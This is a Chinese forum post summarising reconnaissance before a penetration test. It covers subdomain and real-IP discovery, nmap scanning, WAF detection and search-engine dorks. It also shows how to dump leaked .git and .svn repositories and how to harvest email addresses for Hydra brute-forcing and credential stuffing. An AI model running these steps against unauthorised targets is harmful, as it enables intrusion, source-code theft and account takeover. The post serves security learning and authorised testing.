渗透前的目标信息收集小结

flaray 发表了文章 • 1 个评论 • 388 次浏览 • 2019-07-29 17:01 • 来自相关话题

前言:
信息收集分类:
1、主动式信息搜集(可获取到的信息较多,但易被目标发现)
2、通过直接发起与被测目标网络之间的互动来获取相关信息,如通过Nmap扫描目标系统。
3、被动式信息搜集(搜集到的信息较少,但不易被发现,如通过搜索引擎搜索)
4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。
搜集什么信息

1、whois信息
2、网站架构(语言、中间件、数据库、平台)
3、dns信息(通过查询dns可以检测是否存在dns域传送和域行走)
4、子域名搜集(搜索引擎和工具以及漏洞)
5、敏感目录及敏感信息、源码泄露(搜索引擎+工具、GitHub等)
6、系统漏洞(系统版本漏洞是否修补)
7、旁站查询(通过IP反查)
8、C端查询(确认大公司或组织网段内子站)
9、指纹信息(框架探测)
10、端口服务
11、备案信息(whois反查、)
12、真实ip(绕过CDN)
13、探测waf(后续可确定Bypass方式)
14、社工(朋友圈、微博、qq空间、求职、交易等社交平台)
15、企业信息(天眼查、企业信用信息公示系统、工业和信息化部ICP/IP地址/域名信息备案管理系统)

信息搜集的流程
上面我已经列举了需要搜集的信息,然后我给它们分了一下类。
我考虑到一个网站的组成是由域名、服务器、网站程序组成的。
因此:

首先入手域名方面:whois、子域名、备案信息;
其次是入手服务器方面:dns信息、端口服务、真实ip;
然后入手网站程序(web层)方面:网站架构、敏感目录及敏感信息、源码泄露(搜索引擎+工具)、脆弱系统(网络空间)、旁站查询、C端查询、指纹信息、探测waf;
最后入手企业方面:天眼查、企业信用信息公示系统

 
0x00:IP发现
1.IP反查域名(查询旁站)如果你的渗透目标网站是一台虚拟主机,那么通过IP反查到的域名信息往往很有价值, 因为一台物理服务器上面可能运行多个虚拟主机,这些虚拟主机具有不同的域名,但通常共用一个IP地址。如果你知道有哪些网站共用这台服务器,就有可能通过此台服务器上其他网站的漏洞获取服务器控制权,进而迂回获取渗透目标的权限,这种技术也称为“旁注”。


站点和工具:http://www.ip-adress.com/reverse_iphttp://www.7c.com/https://dns.aizhan.com/https://tools.ipip.net/ipdomain.phphttp://www.webscan.cc/http://dns.bugscaner.com/ 2.域名查询IP知道一个站点的域名需要得到它的IP以便之后获取端口信息或扫描等后续工作。


站点和工具:http://www.webscan.cc/http://www.yunsee.cn/https://www.whatweb.net/http://ip.tool.chinaz.com/http://dns.bugscaner.com/注:判断是否目标使用CDN(1).ping 目标主域,观察域名的解析情况,以此来判断是否使用了 CDN;(2).利用在线网站 17CE,进行全国多地区的 ping 服务器操作,然后对比每个地区 ping 出的 IP 结果,查看这些 IP 是否一致,如果都是一样的,极有可能不存在 CDN。如果 IP 大多不太一样或者规律性很强,可是尝试查询这些 IP 的归属地,判断是都存在 IP。在确认目标用了 CDN 的情况下:内部邮箱源(让服务器给你发邮件看邮件头IP)(最可靠)通过zmpap全网爆破查询真实IP(可靠)扫描网站测试文件分站域名(根据收集分站查看产生交互最多的站)国外访问(App Synthetic Monitor)查询域名解析记录(NETCRAFT)(查询域名历史IP)如果网站有 App,抓 App 的请求绕过 CloudFlare CDN 查找真实 IP(CloudFlareWatch)   3.IP WHOIS查询IP WHOIS就是查询IP的详细信息的数据库(如IP使用人和IP使用人的相关信息等)。


http://tool.chinaz.com/ipwhoishttp://www.guoxue.com/whois/index.phphttp://whois.bugscaner.com/https://www.whois.com/whoishttps://www.cxw.com/  4.C端存活主机探测


https://phpinfo.me/bing.phphttp://cduan.cc/c/http://www.webscan.cc/https://github.com/se55i0n/Cwebscanner也可以使用Nmap扫描:Nmap: nmap -sP www.XXX.com/24 || nmap -sP 192.168.1.*5.C段常见端口探测(1)最笨的方法:C段导入到文件,nmap扫描。-iL参数:扫描文件中列出的所有IP地址。nmap -iL ip.txt。配合其他自定义限制条件扫描。(2)其他工具神器masscan: https://github.com/robertdavidgraham/masscanMasscan安装和使用:http://zone.secevery.com/article/1098   0x01:域名发现1.子域名发现开始渗透一个网站前,需要知道网站的网络资产:域名、IP等,而IP和域名有着直接的解析关系,所以如何找到网站所有子域名是关键。(1)DNS枚举(根据字典爆破)域名可以通过收集常用域名字典,去DNS服务商查询是否有解析记录来枚举子域名。很多工具都是通过预定义的字典枚举:如Lay子域名挖掘机,subbrute等。


DNS服务商的字典是最准确有效的,先找到一份DNSPod公布的使用最多的子域名:dnspod-top2000-sub-domains.txt//GitHub上的(2)自身泄露可通过https://github.com/FeeiCN/WebProxy代理电脑所有流量,从流量中搜索出现交互的子域名,如域名跳转、Response、网络请求中的子域名。缺点:麻烦且没产生交互的子域名无法探测,略鸡肋。 (3)搜索引擎使用百度,bing,Google等搜索引擎,可通过site关键字查询所有收录该域名的记录,子域名权重较高会排在前面。具体规则网上很多,可参考: https://zhuanlan.zhihu.com/p/22161675https://www.freebuf.com/articles/network/169601.html具体使用:以 secevery 为例,可以通过搜索 site:secevery.com 来得到指定的网站内容。


(4)第三方查询--有许多拥有大量 DNS 数据集的第三方服务,可通过他们来检索给定域的子域。如VirusTotal,dnsdumpser


脚本工具Sublist3r( https://github.com/aboul3la/Sublist3r) 使用各种资源来枚举子域。通过诸如 Google,Yahoo,Bing,百度和 Ask 等许多搜索引擎来枚举。Sublist3r 还使用 Netcraft,Virustotal,ThreatCrowd,DNSdumpster 和 ReverseDNS 等第三方服务来枚举子域。缺点:信息多很繁杂且有错误,许多站已经关闭,内容需要筛选。(5)crossdomain.xml利用跨域策略文件,以 http://www.sina.com.cn/crossdomain.xml为例:


(6)Google HTTPS证书信息Google透明度报告中的证书透明度项目是用来解决HTTPS证书系统的结构性缺陷,它能够让所有人查询各个网站的HTTPS证书信息,从而能发现签发了证书的子域名。利用SSL证书的注册登记发现子域名。


使用收集 CT(Certificate Transparency)日志的搜索引擎,是发现某个域证书最简单的方法。以下是一些流行的搜索引擎:https://crt.sh/https://transparencyreport.google.com/https/certificateshttps://censys.io/可以结合Masscan# ct.py - extracts domain names from CT Logs(shippedwith massdns) # massdns - will find resolvable domains & adds them to a file./ct.py icann.org | ./bin/massdns -r resolvers.txt -tA -q -a -o -w icann_resolvable_domains.txt -//读取文件里面的CT信息搜索还可以直接通过本地证书:大厂的SSL证书一般都是一证多用,根据这个特性,可以得到一些子域名.eg:





使用SSL证书缺点很明显,没有注册SSL证书的子域名无法查到。 (7)自治系统编号(ASN)使用dig或host来解析指定域的IP地址(可以得到IP所在组织的IP域范围)。使用IP查找ASN号码:https://asn.cymru.com/cgi-bin/whois.cgi


也可以使用域名查询ASN号码:https://bgp.he.net/


找到的ASN号码可用于查找域的网络块。使用Nmap脚本可以实现使用ASN号码来查找域的网络块。$ nmap --script targets-asn --script-args targets-asn.asn=XXXX


(8)利用域传送漏洞因为对DNS服务器配置不当,导致任意IP都可以直接向DNS服务器请求数据,从而导致该域名的所有子域名暴露,可以写脚本也可以通过网站查询DNS。http://tool.chinaz.com/dns/https://tool.lu/dns/


域传送漏洞漏洞很老旧不常见。kali下检测:root@kali:~# dig +short @8.8.8.8 secevery.com nsdns24.hichina.com.dns23.hichina.com.得到了目标ns服务器,接下来使用目标ns服务器尝试传送dig @dns24.hichina.com secevery.com axfr发现Transfer failed失败即不存在漏洞。Kali下dns子域探测工具:dnsmap,dnsenum,fierce。也可以Windows下nslookup查询:


(9) FDNS(forward DNS,DNS转发)FDNS数据集作为 Project Sonar 的一部分发布。这些数据是通过提取来自多个源的域名并且给每个域发送 ANY 请求来收集的。这些数据是 gzip 格式的 json 文件。我们可以解析数据集来查找给定域的子域。数据集是很大的(压缩后约 20 + GB,未压缩约有 300 + GB)。https://registry.opendata.aws/rapid7-fdns-any/https://github.com/rapid7/sonar/wiki/Forward-DNS//GitHub说明# Command to parse& extract sub-domains for a given domain$ curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep “.icann.org” | jqFDNS能搜索到的子域名比爆破和CT查询和存在域传送加起来都多。但文件过大使用起来很费事。


(10)zone walking(NSEC)区域行走DNSSEC协议的一个重要功能是能根据"DNS中的已验证拒绝存在"权威的断言给定域名不存在,但它允许区域行走,可以从一个域到另一个域。协议这样写->https://tools.ietf.org/rfc/rfc7129.txt现在主流的NSEC3协议是NSEC协议的替代,但是仍然有很多域在使用NSEC。使用ldns-walk工具来检测使用NSEC域名TLD列表 http://data.iana.org/TLD/tlds-alpha-by-domain.txt安装之后$ ldns-walk domainname即可使用//linux下安装使用。wget https://www.nlnetlabs.nl/downloads/ldns/ldns-1.7.0.tar.gz 除了这些还有如网络深度爬虫等方法能探测子域名。2.关联域名发现(1)注册人和邮箱反查域名先whois获取注册人和邮箱,再通过注册人和邮箱反查域名。


https://whois.chinaz.com/http://whois.4.cn/reversehttps://whois.aizhan.com/reverse-whois/http://www.langongju.com/domain/reverse缺点很明显:除了大厂之外很多公司都是DNS解析的运营商注册的,查到的是运营商代替个人和小公司注册的网站信息。(2)相似域名查询根据目标公司名称来查找可能是目标资产的相似域名。


https://www.whois.net/https://typoku.com.cutestat.com/https://github.com/elceef/dnstwist//相似、钓鱼域名检测。 0X02:端口信息探测1、快速判断端口是否开启:a、http://coolaf.com/tool/port使用方式:        直接输入要测试的域名,然后指定要测试的端口。        不过每次只能指定50个端口。


b、https://tool.lu/portscan/index.html    跟上一个工具差不多都一样,只不过每次能测试100个端口。使用方式也一样。


c、http://www.matools.com/port    没有说明端口限制,并且会显示端口的服务。只是每次扫描的时候,需要输入验证码。 2、对服务器的信息进行详细的收集:主机发现,生成存活主机列表:nmap -sn -T4 -oG Discovery.gnmap  192.168.10.0/24grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt 端口发现,发现全部端口:nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt        #一般选用这个,因为速度比较快。nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt 发现大部分常用的端口:nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txtnmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txtnmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt 系统和服务检测:nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt 系统扫描:nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txtnmap -O --osscan-guess 192.168.1.134     服务版本侦测:nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txtNmap命令详见: http://zone.secevery.com/article/2450X03:网站信息收集1、指纹识别代码框架识别、中间件、CMS识别:     https://www.whatweb.net/     能得到的目标网站的    IP、中间件类型以及版本、语言环境(带版本)


    http://www.yunsee.cn/finger.html    只能判断出一种语言环境,代码框架、中间件的版本信息。


    http://whatweb.bugscaner.com/look/    代码框架、web框架为ASP.NET、语言为PHP、中间件为IIS6.0   除此之外还有一些额外的信息:同ip网站CMS查询、icp备案查询、whois查询、网站地址、服务器的操作系统、子域名查询、网站CDN服务商查询、CDN缓存命中查询。    信息还是挺多的。与上边两个相比,我更倾向于选择第三个网站,云悉的信息那么少,大概是没有登陆的缘故吧。它的账号是要购买的。








2、waf识别:    wafw00f    一个识别waf的很成熟的工具,使用方式也很简单。        github项目地址:https://github.com/EnableSecurity/wafw00f        kali上自带wafw00f,一条命令直接使用。建议最好在kali下使用,windows下的使用很麻烦。


    nmap的扩展脚本,众所周知,nmap是一个端口扫描工具。但是它额外有的扩展模块,使得它具有了识别和绕过waf的能力。


2、敏感路径探测1、Git源码泄露    成因及危害:当前大量开发人员使用git进行版本控制,对网站进行自动部署。如果配置不当,可能会将.git文件部署到线上环境,这就引起了git泄露漏洞。在网站安全维护方面,git和svn信息泄露,是非常常见也是非常致命的漏洞。会导致整个网站的源码泄露。    漏洞检测:        批量寻找:".git" intitle:"index of"


    对单个网站进行检测:         a、githack,github上的地址:https://github.com/lijiejie/GitHack           使用方法:python GitHack.py http://xxx.com/.git/           这个直接就可以获取到网站的源码和图片该工具建议在有git工具的linux环境下使用,我在                   windows10环境下使用的时候,会报Error 10060和Error 183





手工验证的方法,如下。在kali linux下,        wget --mirror --include-directories=/.git http://www.xxx.com/.git        cd www.xxx.com    www.xxx.com文件夹是自动创建的。        git reset --hard后续学习:https://blog.csdn.net/qq_36869808/article/details/88909961     2、SVN源码泄露    介绍:跟git一样,都是用来版本迭代的一个功能。具体一点就是使用svn checkout功能来更新代码。    产生原因以及危害:没有配置好目录访问权限,从而导致该漏洞被人利用,整个网站的源码泄露。    批量寻找:".svn" intitle:"index of"    利用工具及过程:        工具:svnExploit        github地址:https://github.com/admintony/svnExploit        利用过程:            a、判断.svn的版本信息





前者版本小于1.7,后者版本大于1.7    版本小于1.7的:        python2 SvnExploit.py -u https://xxx.com/.svn    查看信息,把泄露的文件列出来。        python2 SvnExploit.py -u https://xxx.com/.svn --dump    将网站的源码下载下来。





    版本大于1.7的,        1、列出所有的文件。        2、把所有的文件dump下来。





    后续钻研:https://www.cnblogs.com/batsing/p/svn-bug.html 3、网站文件备份    直接扫目录就可以得到,工具:7kbscan、御剑都可以。


0X04:互联网信息收集(1)google和GitHub使用谷歌关键字。例如搜索site:github.com secevery.com搜索目标公司程序员上传到GitHub上的代码和敏感信息,可能泄露如数据库连接信息、邮箱密码、uc-key、阿里的osskey、甚至是网站源代码。


还可以site:GitHub.com svn(smtp等) @XX.com(user,password)等在后面添加限制脚本类型或者服务类型。intext:后台登录查询页面中含有后台管理的网站,这里还可以利用site:语句(下同)指定查找的网站(包含子域名)中页面含有后台登录的站点


intitle:管理登录  查找网站标题中存在管理登录的页面


filetype: pdf查找网站中pdf格式的文件,也可以搜索网站sql或者压缩包等文件inurl:  php?id=查找url中带有php?id=的网站filetype:php  site:secevery.com查找secevery中的PHP文件


(2)shodan搜索引擎shodan网络搜索引擎偏向网络设备(摄像头、路由器)以及服务器(端口、开启服务、服务器平台版本)的探测,具体内容可上网查阅,这里给出它的高级搜索语法。https://www.shodan.io/


可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法hostname:  搜索指定的主机或域名,例如 hostname:”google”port:  搜索指定的端口或服务,例如 port:”21”country:  搜索指定的国家,例如 country:”CN”city:  搜索指定的城市,例如 city:”NanYang”org:  搜索指定的组织或公司,例如 org:”google”isp:  搜索指定的ISP供应商,例如 isp:”China Telecom”product:  搜索指定的操作系统/软件/平台,例如 product:”Apache httpd”version:  搜索指定的软件版本,例如 version:”1.6.2”geo:  搜索指定的地理位置,例如 geo:”31.8639, 117.2808”before/after:  搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:”11-11-15”net:  搜索指定的IP地址或子网,例如 net:”210.45.240.0/24”  (3)censys搜索引擎censys搜索引擎功能与shodan类似,偏向网络设备和服务器的信息探测。地址:https://www.censys.io/


搜索语法默认情况下censys支持全文检索。23.0.0.0/8 or 8.8.8.0/24  可以使用and or not80.http.get.status_code: 200  指定状态80.http.get.status_code:[200 TO 300]  200-300之间的状态码location.country_code: DE  国家protocols: (“23/telnet” or “21/ftp”)  协议tags: scada  标签80.http.get.headers.server:nginx  服务器类型版本autonomous_system.description: University  系统描述    (4)FoFa搜索引擎FoFa搜索引擎偏向资产搜索。http://fofa.so


搜索语法直接输入查询语句,将从标题,html内容,http头信息,url字段中搜索title="abc" 从标题中搜索abc。header="abc" 从http头中搜索abc。body="abc" 从html正文中搜索abc。domain="secevery.com" 搜索根域名带有secevery.com的网站。host=".gov.cn" 从url中搜索.gov.cn,注意搜索要用host作为名称。port="443" 查找对应443端口的资产。ip="1.1.1.1" 从ip中搜索包含1.1.1.1的网站,注意搜索要用ip作为名称。 如果想要查询网段,可以是:ip="192.168.111.1/24",protocol="https" 搜索制定协议类型(在开启端口扫描的情况下有效)。city="Beijing" 搜索指定城市的资产。region="Henan" 搜索指定行政区的资产。country="CN" 搜索指定国家(编码)的资产。cert="google.com" 搜索证书(https或者imaps等)中带有google.com的资产。banner=users && protocol=ftp 搜索FTP协议中带有users文本的资产。type=service 搜索所有协议资产,支持subdomain和service两种。os=windows 搜索Windows资产。例: 搜索Windows资产server=="Microsoft-IIS/7.5" 搜索IIS 7.5服务器。例: 搜索IIS 7.5服务器app="海康威视-视频监控" 搜索海康威视设备,更多app规则。例: 搜索海康威视设备after="2017" && before="2017-10-01" 时间范围段搜索。例: 时间范围段搜索高级搜索:可以使用括号 和 && || !=等符号,如title="powered by" && title!=discuztitle!="powered by" && body=discuz( body="content=\"WordPress" || (header="X-Pingback" && header="/xmlrpc.php" && body="/wp-includes/") ) && host="gov.cn" 新增==完全匹配的符号,可以加快搜索速度,比如查找qq.com所有host,可以是domain=="qq.com"(5)钟馗之眼(Zoomeye) 钟馗之眼搜索引擎偏向web应用层面的搜索。地址:https://www.zoomeye.org/


搜索语法app:nginx  组件名ver:1.0  版本os:windows  操作系统country:”China”  国家city:”hangzhou”  城市port:80  端口hostname:google  主机名site:thief.one  网站域名desc:nmask  描述keywords:nmask’blog  关键词service:ftp  服务类型ip:8.8.8.8  ip地址cidr:8.8.8.8/24  ip地址段(6)邮箱收集
--首先确定邮件服务器本身有没有什么错误配置,没有禁用VRFY或EXPN命令导致的用户信息泄露,如果有可以直接把目标的邮件用户都爆出来,也可以尝试弱口令。




--收集目标的各类webmail入口。
找目标的各种webmail入口,不一定有,但这也是为了后面一旦拿到密码尝试撞库的手段,如果用的是某种开源WEB邮件程序,也可以尝试找对应版本的exp。
--提取whois邮箱去搜索引擎搜索,拿到旧密码可以去社工库去撞库。
--直接从目标站点查找邮箱。一般的网站都有的"联系我们"之类的链接或许就是邮箱,当然如果是[email]support@target.com[/email]或者[email]info@target.com[/email]这种邮箱直接忽略,我们需要有互动的邮箱,拿到后都试一试撞一撞库和搜索引擎跑一跑。




---利用各种工具直接抓取目标邮箱
theharvester:一个比较老的邮箱抓取脚本,主要是从各种搜索引擎抓取邮箱,抓取后的文档杂乱需要自己筛选分析。
https://github.com/laramies/theHarvester下载或者Kali直接运行。
-d 参数指定目标域
-l 参数指定数量
-b 参数指定端口
-s 指定起始数值




TheHarvester+Hydra可以大量扫描弱口令账户。
也可以使用metasploit的 auxiliary/gather/search_email_collector 模块:
 
msfconsole打开MSF控制台,输入use auxiliary/gather/search_email_collector,然后set domain XXmail.com设置目标邮件网站,然后show options显示搜索来源,exploit





目前使用菜单内的google选项去搜索邮箱需要翻墙,直接用如图。

两种方法都可以将结果保存为文件然后使用hydra爆破。
(7)历史漏洞信息
虽然乌云关了但是镜像上面还有大量企业漏洞信息,此外CNVD,seebug等平台
也能查找一些企业历史漏洞信息。




 
0X05:人力资源情报收集
(1)招聘信息
用google从招聘网站找到信息再去查找企业信息








通过招聘信息我们找到了公司全称和负责人构成和邮箱电话等信息。
通过这些信息可以与前面的WHOIS反查结合。
 
社会工程学方面的知识太繁杂就先不讨论了。
参考:
https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/
https://www.secpulse.com/archives/74312.html
https://www.freebuf.com/articles/web/190403.html
http://www.davex.pw/2016/07/01/How-To-Fuzz-Sub-Domain/
https://www.freebuf.com/articles/web/179043.html
https://cloud.tencent.com/developer/article/1180157
https://klionsec.github.io/2014/12/22/email-collector/
https://www.secpulse.com/archives/69237.html
https://yq.aliyun.com/articles/366927
https://www.secpulse.com/archives/29475.html
http://www.lijiejie.com/ds_store_exp_ds_store_file_disclosure_exploit/
https://zhuanlan.zhihu.com/p/22161675
https://zhuanlan.zhihu.com/p/22407076
https://www.jianshu.com/p/d2af08e6f8fb
https://blog.csdn.net/zvall/article/details/50115815 查看全部
前言:
信息收集分类:

1、主动式信息搜集(可获取到的信息较多,但易被目标发现)
2、通过直接发起与被测目标网络之间的互动来获取相关信息,如通过Nmap扫描目标系统。
3、被动式信息搜集(搜集到的信息较少,但不易被发现,如通过搜索引擎搜索)
4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。

搜集什么信息


1、whois信息
2、网站架构(语言、中间件、数据库、平台)
3、dns信息(通过查询dns可以检测是否存在dns域传送和域行走)
4、子域名搜集(搜索引擎和工具以及漏洞)
5、敏感目录及敏感信息、源码泄露(搜索引擎+工具、GitHub等)
6、系统漏洞(系统版本漏洞是否修补)
7、旁站查询(通过IP反查)
8、C端查询(确认大公司或组织网段内子站)
9、指纹信息(框架探测)
10、端口服务
11、备案信息(whois反查、)
12、真实ip(绕过CDN)
13、探测waf(后续可确定Bypass方式)
14、社工(朋友圈、微博、qq空间、求职、交易等社交平台)
15、企业信息(天眼查、企业信用信息公示系统、工业和信息化部ICP/IP地址/域名信息备案管理系统)


信息搜集的流程
上面我已经列举了需要搜集的信息,然后我给它们分了一下类。
我考虑到一个网站的组成是由域名、服务器、网站程序组成的。
因此:


首先入手域名方面:whois、子域名、备案信息;
其次是入手服务器方面:dns信息、端口服务、真实ip;
然后入手网站程序(web层)方面:网站架构、敏感目录及敏感信息、源码泄露(搜索引擎+工具)、脆弱系统(网络空间)、旁站查询、C端查询、指纹信息、探测waf;
最后入手企业方面:天眼查、企业信用信息公示系统


 
0x00:IP发现
  • 1.IP反查域名(查询旁站)
如果你的渗透目标网站是一台虚拟主机,那么通过IP反查到的域名信息往往很有价值, 因为一台物理服务器上面可能运行多个虚拟主机,这些虚拟主机具有不同的域名,但通常共用一个IP地址。如果你知道有哪些网站共用这台服务器,就有可能通过此台服务器上其他网站的漏洞获取服务器控制权,进而迂回获取渗透目标的权限,这种技术也称为“旁注”。
IP反查域名1.png
站点和工具:
 
  • 2.域名查询IP
知道一个站点的域名需要得到它的IP以便之后获取端口信息或扫描等后续工作。
域名查IP信息.png
站点和工具:
注:判断是否目标使用CDN(1).ping 目标主域,观察域名的解析情况,以此来判断是否使用了 CDN;(2).利用在线网站 17CE,进行全国多地区的 ping 服务器操作,然后对比每个地区 ping 出的 IP 结果,查看这些 IP 是否一致,如果都是一样的,极有可能不存在 CDN。如果 IP 大多不太一样或者规律性很强,可是尝试查询这些 IP 的归属地,判断是都存在 IP。在确认目标用了 CDN 的情况下:
  • 内部邮箱源(让服务器给你发邮件看邮件头IP)(最可靠)
  • 通过zmpap全网爆破查询真实IP(可靠)
  • 扫描网站测试文件
  • 分站域名(根据收集分站查看产生交互最多的站)
  • 国外访问(App Synthetic Monitor)
  • 查询域名解析记录(NETCRAFT)(查询域名历史IP)
  • 如果网站有 App,抓 App 的请求
  • 绕过 CloudFlare CDN 查找真实 IP(CloudFlareWatch)
   
  • 3.IP WHOIS查询
IP WHOIS就是查询IP的详细信息的数据库(如IP使用人和IP使用人的相关信息等)。
IP_WHOIS查询1.png
 
  •  4.C端存活主机探测
C段主机探测.png
也可以使用Nmap扫描:
Nmap: nmap -sP www.XXX.com/24 ||  nmap -sP 192.168.1.*
  • 5.C段常见端口探测
  • (1)最笨的方法:C段导入到文件,nmap扫描。
-iL参数:扫描文件中列出的所有IP地址。nmap -iL ip.txt。配合其他自定义限制条件扫描。
  • (2)其他工具
神器masscan: https://github.com/robertdavidgraham/masscan
  • Masscan安装和使用:
http://zone.secevery.com/article/1098
  •  
  0x01:域名发现
  • 1.子域名发现
开始渗透一个网站前,需要知道网站的网络资产:域名、IP等,而IP和域名有着直接的解析关系,所以如何找到网站所有子域名是关键。
  • (1)DNS枚举(根据字典爆破)
域名可以通过收集常用域名字典,去DNS服务商查询是否有解析记录来枚举子域名。很多工具都是通过预定义的字典枚举:如Lay子域名挖掘机,subbrute等。
DNS暴力枚举.png
DNS服务商的字典是最准确有效的,先找到一份DNSPod公布的使用最多的子域名:dnspod-top2000-sub-domains.txt//GitHub上的
  • (2)自身泄露
可通过https://github.com/FeeiCN/WebProxy代理电脑所有流量,从流量中搜索出现交互的子域名,如域名跳转、Response、网络请求中的子域名。缺点:麻烦且没产生交互的子域名无法探测,略鸡肋。
 
  • (3)搜索引擎
使用百度,bing,Google等搜索引擎,可通过site关键字查询所有收录该域名的记录,子域名权重较高会排在前面。具体规则网上很多,可参考: https://zhuanlan.zhihu.com/p/22161675https://www.freebuf.com/articles/network/169601.html具体使用:以 secevery 为例,可以通过搜索 site:secevery.com 来得到指定的网站内容。
googlehacking2.png
  • (4)第三方查询
--有许多拥有大量 DNS 数据集的第三方服务,可通过他们来检索给定域的子域。如VirusTotal,dnsdumpser
VirusTotal.png
脚本工具Sublist3r( https://github.com/aboul3la/Sublist3r) 使用各种资源来枚举子域。通过诸如 Google,Yahoo,Bing,百度和 Ask 等许多搜索引擎来枚举。Sublist3r 还使用 Netcraft,Virustotal,ThreatCrowd,DNSdumpster 和 ReverseDNS 等第三方服务来枚举子域。缺点:信息多很繁杂且有错误,许多站已经关闭,内容需要筛选。
  • (5)crossdomain.xml
利用跨域策略文件,以 http://www.sina.com.cn/crossdomain.xml为例:
crossxml.png
  • (6)Google HTTPS证书信息
Google透明度报告中的证书透明度项目是用来解决HTTPS证书系统的结构性缺陷,它能够让所有人查询各个网站的HTTPS证书信息,从而能发现签发了证书的子域名。利用SSL证书的注册登记发现子域名。
SSL证书.png
使用收集 CT(Certificate Transparency)日志的搜索引擎,是发现某个域证书最简单的方法。以下是一些流行的搜索引擎:
可以结合Masscan# ct.py - extracts domain names from CT Logs(shippedwith massdns) # massdns - will find resolvable domains & adds them to a file./ct.py icann.org | ./bin/massdns -r resolvers.txt -tA -q -a -o -w icann_resolvable_domains.txt -//读取文件里面的CT信息搜索还可以直接通过本地证书:大厂的SSL证书一般都是一证多用,根据这个特性,可以得到一些子域名.eg:
证书.png
SSL本地证书.png
使用SSL证书缺点很明显,没有注册SSL证书的子域名无法查到。 
  • (7)自治系统编号(ASN)
使用dig或host来解析指定域的IP地址(可以得到IP所在组织的IP域范围)。使用IP查找ASN号码:https://asn.cymru.com/cgi-bin/whois.cgi
IP查询ASN.png
也可以使用域名查询ASN号码:https://bgp.he.net/
域名查询ASN.png
找到的ASN号码可用于查找域的网络块。使用Nmap脚本可以实现使用ASN号码来查找域的网络块。$ nmap --script targets-asn --script-args targets-asn.asn=XXXX
NmapASN查询域.png
  • (8)利用域传送漏洞
因为对DNS服务器配置不当,导致任意IP都可以直接向DNS服务器请求数据,从而导致该域名的所有子域名暴露,可以写脚本也可以通过网站查询DNS。
DNS域传送获取子域名.png
域传送漏洞漏洞很老旧不常见。kali下检测:root@kali:~# dig +short @8.8.8.8 secevery.com ns
得到了目标ns服务器,接下来使用目标ns服务器尝试传送dig @dns24.hichina.com secevery.com axfr发现Transfer failed失败即不存在漏洞。Kali下dns子域探测工具:dnsmap,dnsenum,fierce。也可以Windows下nslookup查询:
nslookup确认.png
  • (9) FDNS(forward DNS,DNS转发)
FDNS数据集作为 Project Sonar 的一部分发布。这些数据是通过提取来自多个源的域名并且给每个域发送 ANY 请求来收集的。这些数据是 gzip 格式的 json 文件。我们可以解析数据集来查找给定域的子域。数据集是很大的(压缩后约 20 + GB,未压缩约有 300 + GB)。# Command to parse& extract sub-domains for a given domain$ curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep “.icann.org” | jqFDNS能搜索到的子域名比爆破和CT查询和存在域传送加起来都多。但文件过大使用起来很费事。
子域名发现多少.jpg
  • (10)zone walking(NSEC)区域行走
DNSSEC协议的一个重要功能是能根据"DNS中的已验证拒绝存在"权威的断言给定域名不存在,但它允许区域行走,可以从一个域到另一个域。协议这样写->https://tools.ietf.org/rfc/rfc7129.txt现在主流的NSEC3协议是NSEC协议的替代,但是仍然有很多域在使用NSEC。使用ldns-walk工具来检测使用NSEC域名TLD列表 http://data.iana.org/TLD/tlds-alpha-by-domain.txt安装之后$ ldns-walk domainname即可使用//linux下安装使用。wget https://www.nlnetlabs.nl/downloads/ldns/ldns-1.7.0.tar.gz 除了这些还有如网络深度爬虫等方法能探测子域名。
  • 2.关联域名发现
  • (1)注册人和邮箱反查域名
先whois获取注册人和邮箱,再通过注册人和邮箱反查域名。
注册人和邮箱反查域名.png
缺点很明显:除了大厂之外很多公司都是DNS解析的运营商注册的,查到的是运营商代替个人和小公司注册的网站信息。
  • (2)相似域名查询
根据目标公司名称来查找可能是目标资产的相似域名。
相似域名查询.png
 0X02:端口信息探测
  • 1、快速判断端口是否开启:
a、http://coolaf.com/tool/port使用方式:        直接输入要测试的域名,然后指定要测试的端口。        不过每次只能指定50个端口。
端口信息.png
b、https://tool.lu/portscan/index.html    跟上一个工具差不多都一样,只不过每次能测试100个端口。使用方式也一样。
端口信息2.png
c、http://www.matools.com/port    没有说明端口限制,并且会显示端口的服务。只是每次扫描的时候,需要输入验证码。 
  • 2、对服务器的信息进行详细的收集:
主机发现,生成存活主机列表:nmap -sn -T4 -oG Discovery.gnmap  192.168.10.0/24grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt 端口发现,发现全部端口:nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt        #一般选用这个,因为速度比较快。nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt 发现大部分常用的端口:nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txtnmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txtnmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt 系统和服务检测:nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt 系统扫描:nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txtnmap -O --osscan-guess 192.168.1.134     服务版本侦测:nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txtNmap命令详见: 